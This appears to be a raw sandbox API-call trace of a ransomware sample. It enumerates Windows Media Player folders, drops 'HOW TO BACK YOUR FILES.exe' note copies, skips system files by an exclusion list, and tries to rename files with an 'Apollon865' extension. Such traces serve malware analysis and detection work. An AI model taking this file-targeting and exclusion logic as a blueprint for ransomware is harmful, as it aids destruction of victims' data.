	[0052.378] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1
	[0052.378] lstrcmpiW (lpString1="Visualizations", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.378] lstrcmpiW (lpString1="Visualizations", lpString2="Apollon865.txt.exe") returned 1
	[0052.378] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Visualizations" | out: lpString1="Visualizations") returned="Visualizations"
	[0052.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0052.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x76) returned 0x591740
	[0052.378] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x59fd70
	[0052.378] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ee51dd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ee51dd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3f0b33d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x37c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1
	[0052.378] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.378] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="Apollon865.txt.exe") returned 1
	[0052.379] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="wmlaunch.exe" | out: lpString1="wmlaunch.exe") returned="wmlaunch.exe"
	[0052.379] lstrlenW (lpString="wmlaunch.exe") returned 12
	[0052.379] lstrlenW (lpString="Apollon865") returned 10
	[0052.379] lstrcmpiW (lpString1="launch.exe", lpString2="Apollon865") returned 1
	[0052.379] lstrlenW (lpString=".dll") returned 4
	[0052.379] lstrcmpiW (lpString1="wmlaunch.exe", lpString2=".dll") returned 1
	[0052.379] lstrlenW (lpString=".lnk") returned 4
	[0052.379] lstrcmpiW (lpString1="wmlaunch.exe", lpString2=".lnk") returned 1
	[0052.379] lstrlenW (lpString=".ini") returned 4
	[0052.379] lstrcmpiW (lpString1="wmlaunch.exe", lpString2=".ini") returned 1
	[0052.379] lstrlenW (lpString=".sys") returned 4
	[0052.379] lstrcmpiW (lpString1="wmlaunch.exe", lpString2=".sys") returned 1
	[0052.379] lstrlenW (lpString="wmlaunch.exe") returned 12
	[0052.379] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="wmpconfig.exe" | out: lpString1="wmpconfig.exe") returned="wmpconfig.exe"
	[0052.379] lstrlenW (lpString="wmpconfig.exe") returned 13
	[0052.379] lstrlenW (lpString="Apollon865") returned 10
	[0052.379] lstrcmpiW (lpString1="config.exe", lpString2="Apollon865") returned 1
	[0052.379] lstrlenW (lpString=".dll") returned 4
	[0052.379] lstrcmpiW (lpString1="wmpconfig.exe", lpString2=".dll") returned 1
	[0052.379] lstrlenW (lpString=".lnk") returned 4
	[0052.379] lstrcmpiW (lpString1="wmpconfig.exe", lpString2=".lnk") returned 1
	[0052.379] lstrlenW (lpString=".ini") returned 4
	[0052.379] lstrcmpiW (lpString1="wmpconfig.exe", lpString2=".ini") returned 1
	[0052.379] lstrlenW (lpString=".sys") returned 4
	[0052.379] lstrcmpiW (lpString1="wmpconfig.exe", lpString2=".sys") returned 1
	[0052.379] lstrlenW (lpString="wmpconfig.exe") returned 13
	[0052.379] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="WMPDMC.exe" | out: lpString1="WMPDMC.exe") returned="WMPDMC.exe"
	[0052.379] lstrlenW (lpString="WMPDMC.exe") returned 10
	[0052.379] lstrlenW (lpString="Apollon865") returned 10
	[0052.379] lstrlenW (lpString=".dll") returned 4
	[0052.379] lstrcmpiW (lpString1="WMPDMC.exe", lpString2=".dll") returned 1
	[0052.379] lstrlenW (lpString=".lnk") returned 4
	[0052.380] lstrcmpiW (lpString1="WMPDMC.exe", lpString2=".lnk") returned 1
	[0052.380] lstrlenW (lpString=".ini") returned 4
	[0052.380] lstrcmpiW (lpString1="WMPDMC.exe", lpString2=".ini") returned 1
	[0052.380] lstrlenW (lpString=".sys") returned 4
	[0052.380] lstrcmpiW (lpString1="WMPDMC.exe", lpString2=".sys") returned 1
	[0052.380] lstrlenW (lpString="WMPDMC.exe") returned 10
	[0052.380] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="WMPDMCCore.dll" | out: lpString1="WMPDMCCore.dll") returned="WMPDMCCore.dll"
	[0052.380] lstrlenW (lpString="WMPDMCCore.dll") returned 14
	[0052.380] lstrlenW (lpString="Apollon865") returned 10
	[0052.380] lstrcmpiW (lpString1="MCCore.dll", lpString2="Apollon865") returned 1
	[0052.380] lstrlenW (lpString=".dll") returned 4
	[0052.380] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2=".dll") returned 1
	[0052.380] lstrlenW (lpString=".lnk") returned 4
	[0052.380] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2=".lnk") returned 1
	[0052.380] lstrlenW (lpString=".ini") returned 4
	[0052.380] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2=".ini") returned 1
	[0052.380] lstrlenW (lpString=".sys") returned 4
	[0052.380] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2=".sys") returned 1
	[0052.380] lstrlenW (lpString="WMPDMCCore.dll") returned 14
	[0052.380] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="wmpenc.exe" | out: lpString1="wmpenc.exe") returned="wmpenc.exe"
	[0052.380] lstrlenW (lpString="wmpenc.exe") returned 10
	[0052.380] lstrlenW (lpString="Apollon865") returned 10
	[0052.380] lstrlenW (lpString=".dll") returned 4
	[0052.380] lstrcmpiW (lpString1="wmpenc.exe", lpString2=".dll") returned 1
	[0052.380] lstrlenW (lpString=".lnk") returned 4
	[0052.380] lstrcmpiW (lpString1="wmpenc.exe", lpString2=".lnk") returned 1
	[0052.380] lstrlenW (lpString=".ini") returned 4
	[0052.380] lstrcmpiW (lpString1="wmpenc.exe", lpString2=".ini") returned 1
	[0052.380] lstrlenW (lpString=".sys") returned 4
	[0052.380] lstrcmpiW (lpString1="wmpenc.exe", lpString2=".sys") returned 1
	[0052.380] lstrlenW (lpString="wmpenc.exe") returned 10
	[0052.381] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="wmplayer.exe" | out: lpString1="wmplayer.exe") returned="wmplayer.exe"
	[0052.381] lstrlenW (lpString="wmplayer.exe") returned 12
	[0052.381] lstrlenW (lpString="Apollon865") returned 10
	[0052.381] lstrcmpiW (lpString1="player.exe", lpString2="Apollon865") returned 1
	[0052.381] lstrlenW (lpString=".dll") returned 4
	[0052.381] lstrcmpiW (lpString1="wmplayer.exe", lpString2=".dll") returned 1
	[0052.381] lstrlenW (lpString=".lnk") returned 4
	[0052.381] lstrcmpiW (lpString1="wmplayer.exe", lpString2=".lnk") returned 1
	[0052.381] lstrlenW (lpString=".ini") returned 4
	[0052.381] lstrcmpiW (lpString1="wmplayer.exe", lpString2=".ini") returned 1
	[0052.381] lstrlenW (lpString=".sys") returned 4
	[0052.381] lstrcmpiW (lpString1="wmplayer.exe", lpString2=".sys") returned 1
	[0052.381] lstrlenW (lpString="wmplayer.exe") returned 12
	[0052.381] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="WMPMediaSharing.dll" | out: lpString1="WMPMediaSharing.dll") returned="WMPMediaSharing.dll"
	[0052.381] lstrlenW (lpString="WMPMediaSharing.dll") returned 19
	[0052.381] lstrlenW (lpString="Apollon865") returned 10
	[0052.381] lstrcmpiW (lpString1="haring.dll", lpString2="Apollon865") returned 1
	[0052.381] lstrlenW (lpString=".dll") returned 4
	[0052.381] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2=".dll") returned 1
	[0052.381] lstrlenW (lpString=".lnk") returned 4
	[0052.381] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2=".lnk") returned 1
	[0052.381] lstrlenW (lpString=".ini") returned 4
	[0052.381] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2=".ini") returned 1
	[0052.381] lstrlenW (lpString=".sys") returned 4
	[0052.381] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2=".sys") returned 1
	[0052.381] lstrlenW (lpString="WMPMediaSharing.dll") returned 19
	[0052.381] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="wmpnssci.dll" | out: lpString1="wmpnssci.dll") returned="wmpnssci.dll"
	[0052.381] lstrlenW (lpString="wmpnssci.dll") returned 12
	[0052.381] lstrlenW (lpString="Apollon865") returned 10
	[0052.381] lstrcmpiW (lpString1="pnssci.dll", lpString2="Apollon865") returned 1
	[0052.381] lstrlenW (lpString=".dll") returned 4
	[0052.382] lstrcmpiW (lpString1="wmpnssci.dll", lpString2=".dll") returned 1
	[0052.382] lstrlenW (lpString=".lnk") returned 4
	[0052.382] lstrcmpiW (lpString1="wmpnssci.dll", lpString2=".lnk") returned 1
	[0052.382] lstrlenW (lpString=".ini") returned 4
	[0052.382] lstrcmpiW (lpString1="wmpnssci.dll", lpString2=".ini") returned 1
	[0052.382] lstrlenW (lpString=".sys") returned 4
	[0052.382] lstrcmpiW (lpString1="wmpnssci.dll", lpString2=".sys") returned 1
	[0052.382] lstrlenW (lpString="wmpnssci.dll") returned 12
	[0052.382] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="WMPNSSUI.dll" | out: lpString1="WMPNSSUI.dll") returned="WMPNSSUI.dll"
	[0052.382] lstrlenW (lpString="WMPNSSUI.dll") returned 12
	[0052.382] lstrlenW (lpString="Apollon865") returned 10
	[0052.382] lstrcmpiW (lpString1="PNSSUI.dll", lpString2="Apollon865") returned 1
	[0052.382] lstrlenW (lpString=".dll") returned 4
	[0052.382] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2=".dll") returned 1
	[0052.382] lstrlenW (lpString=".lnk") returned 4
	[0052.382] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2=".lnk") returned 1
	[0052.382] lstrlenW (lpString=".ini") returned 4
	[0052.382] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2=".ini") returned 1
	[0052.382] lstrlenW (lpString=".sys") returned 4
	[0052.382] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2=".sys") returned 1
	[0052.382] lstrlenW (lpString="WMPNSSUI.dll") returned 12
	[0052.382] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="wmprph.exe" | out: lpString1="wmprph.exe") returned="wmprph.exe"
	[0052.382] lstrlenW (lpString="wmprph.exe") returned 10
	[0052.382] lstrlenW (lpString="Apollon865") returned 10
	[0052.382] lstrlenW (lpString=".dll") returned 4
	[0052.382] lstrcmpiW (lpString1="wmprph.exe", lpString2=".dll") returned 1
	[0052.382] lstrlenW (lpString=".lnk") returned 4
	[0052.382] lstrcmpiW (lpString1="wmprph.exe", lpString2=".lnk") returned 1
	[0052.382] lstrlenW (lpString=".ini") returned 4
	[0052.382] lstrcmpiW (lpString1="wmprph.exe", lpString2=".ini") returned 1
	[0052.382] lstrlenW (lpString=".sys") returned 4
	[0052.382] lstrcmpiW (lpString1="wmprph.exe", lpString2=".sys") returned 1
	[0052.383] lstrlenW (lpString="wmprph.exe") returned 10
	[0052.383] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="wmpshare.exe" | out: lpString1="wmpshare.exe") returned="wmpshare.exe"
	[0052.383] lstrlenW (lpString="wmpshare.exe") returned 12
	[0052.383] lstrlenW (lpString="Apollon865") returned 10
	[0052.383] lstrcmpiW (lpString1="pshare.exe", lpString2="Apollon865") returned 1
	[0052.383] lstrlenW (lpString=".dll") returned 4
	[0052.383] lstrcmpiW (lpString1="wmpshare.exe", lpString2=".dll") returned 1
	[0052.383] lstrlenW (lpString=".lnk") returned 4
	[0052.383] lstrcmpiW (lpString1="wmpshare.exe", lpString2=".lnk") returned 1
	[0052.383] lstrlenW (lpString=".ini") returned 4
	[0052.383] lstrcmpiW (lpString1="wmpshare.exe", lpString2=".ini") returned 1
	[0052.383] lstrlenW (lpString=".sys") returned 4
	[0052.383] lstrcmpiW (lpString1="wmpshare.exe", lpString2=".sys") returned 1
	[0052.383] lstrlenW (lpString="wmpshare.exe") returned 12
	[0052.383] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Media Player\\Visualizations", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Media Player\\Visualizations") returned="C:\\Program Files (x86)\\Windows Media Player\\Visualizations"
	[0052.383] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591740 | out: hHeap=0x580000) returned 1
	[0052.383] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0052.383] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Media Player\\Visualizations") returned 58
	[0052.383] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Visualizations" | out: lpString1="C:\\Program Files (x86)\\Windows Media Player\\Visualizations") returned="C:\\Program Files (x86)\\Windows Media Player\\Visualizations"
	[0052.383] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.383] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\Visualizations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\visualizations\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.387] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.387] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Visualizations\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x374adbd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x374adbd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.388] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.388] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.388] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Media Player\\Skins", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Media Player\\Skins") returned="C:\\Program Files (x86)\\Windows Media Player\\Skins"
	[0052.388] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5995a0 | out: hHeap=0x580000) returned 1
	[0052.388] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0052.388] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Media Player\\Skins") returned 49
	[0052.388] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Skins" | out: lpString1="C:\\Program Files (x86)\\Windows Media Player\\Skins") returned="C:\\Program Files (x86)\\Windows Media Player\\Skins"
	[0052.388] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.388] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\Skins\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\skins\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.392] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.392] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Skins\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x374d3d30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x374d3d30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.392] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.392] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.392] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="Revert.wmz" | out: lpString1="Revert.wmz") returned="Revert.wmz"
	[0052.392] lstrlenW (lpString="Revert.wmz") returned 10
	[0052.392] lstrlenW (lpString="Apollon865") returned 10
	[0052.392] lstrlenW (lpString=".dll") returned 4
	[0052.392] lstrcmpiW (lpString1="Revert.wmz", lpString2=".dll") returned 1
	[0052.392] lstrlenW (lpString=".lnk") returned 4
	[0052.392] lstrcmpiW (lpString1="Revert.wmz", lpString2=".lnk") returned 1
	[0052.392] lstrlenW (lpString=".ini") returned 4
	[0052.392] lstrcmpiW (lpString1="Revert.wmz", lpString2=".ini") returned 1
	[0052.392] lstrlenW (lpString=".sys") returned 4
	[0052.392] lstrcmpiW (lpString1="Revert.wmz", lpString2=".sys") returned 1
	[0052.392] lstrlenW (lpString="Revert.wmz") returned 10
	[0052.392] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing") returned="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing"
	[0052.393] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0052.393] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
	[0052.393] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing") returned 59
	[0052.393] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing" | out: lpString1="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing") returned="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing"
	[0052.393] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.393] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\network sharing\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.396] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.396] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x374d3d30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x374d3d30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.397] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.397] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.397] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer") returned="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer"
	[0052.397] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0052.397] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0052.397] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer") returned 58
	[0052.397] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer" | out: lpString1="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer") returned="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer"
	[0052.397] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.397] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.405] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.405] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x374f9e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x374f9e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.405] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.405] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.405] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="avtransport.xml" | out: lpString1="avtransport.xml") returned="avtransport.xml"
	[0052.405] lstrlenW (lpString="avtransport.xml") returned 15
	[0052.405] lstrlenW (lpString="Apollon865") returned 10
	[0052.405] lstrcmpiW (lpString1="nsport.xml", lpString2="Apollon865") returned 1
	[0052.405] lstrlenW (lpString=".dll") returned 4
	[0052.405] lstrcmpiW (lpString1="avtransport.xml", lpString2=".dll") returned 1
	[0052.405] lstrlenW (lpString=".lnk") returned 4
	[0052.405] lstrcmpiW (lpString1="avtransport.xml", lpString2=".lnk") returned 1
	[0052.405] lstrlenW (lpString=".ini") returned 4
	[0052.405] lstrcmpiW (lpString1="avtransport.xml", lpString2=".ini") returned 1
	[0052.405] lstrlenW (lpString=".sys") returned 4
	[0052.405] lstrcmpiW (lpString1="avtransport.xml", lpString2=".sys") returned 1
	[0052.405] lstrlenW (lpString="avtransport.xml") returned 15
	[0052.405] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml.Apollon865") returned 85
	[0052.405] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\avtransport.xml"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml.Apollon865" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\avtransport.xml.apollon865"), dwFlags=0x1) returned 0
	[0052.409] GetLastError () returned 0x5
	[0052.409] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml MoveFileEx error 5\r\n") returned 103
	[0052.410] lstrlenA (lpString="[ERROR] C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml MoveFileEx error 5\r\n") returned 103
	[0052.410] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0052.410] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2014
	[0052.410] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x67, lpOverlapped=0x0) returned 1
	[0052.410] CloseHandle (hObject=0x14c) returned 1
	[0052.410] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0052.410] CloseHandle (hObject=0x0) returned 0
	[0052.410] CloseHandle (hObject=0x0) returned 0
	[0052.410] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e33732, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e33732, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x555d411c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="connectionmanager_dmr.xml", cAlternateFileName="")) returned 1
	[0052.410] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.410] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="Apollon865.txt.exe") returned 1
	[0052.410] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2=".") returned 1
	[0052.410] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="..") returned 1
	[0052.410] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="windows") returned -1
	[0052.410] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="bootmgr") returned 1
	[0052.410] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="temp") returned -1
	[0052.411] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="pagefile.sys") returned -1
	[0052.411] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="boot") returned 1
	[0052.411] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="ids.txt") returned -1
	[0052.411] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="ntuser.dat") returned -1
	[0052.411] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="perflogs") returned -1
	[0052.411] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="MSBuild") returned -1
	[0052.411] lstrlenW (lpString="connectionmanager_dmr.xml") returned 25
	[0052.411] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml") returned 74
	[0052.411] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="connectionmanager_dmr.xml" | out: lpString1="connectionmanager_dmr.xml") returned="connectionmanager_dmr.xml"
	[0052.411] lstrlenW (lpString="connectionmanager_dmr.xml") returned 25
	[0052.411] lstrlenW (lpString="Apollon865") returned 10
	[0052.411] lstrcmpiW (lpString1="er_dmr.xml", lpString2="Apollon865") returned 1
	[0052.411] lstrlenW (lpString=".dll") returned 4
	[0052.411] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2=".dll") returned 1
	[0052.411] lstrlenW (lpString=".lnk") returned 4
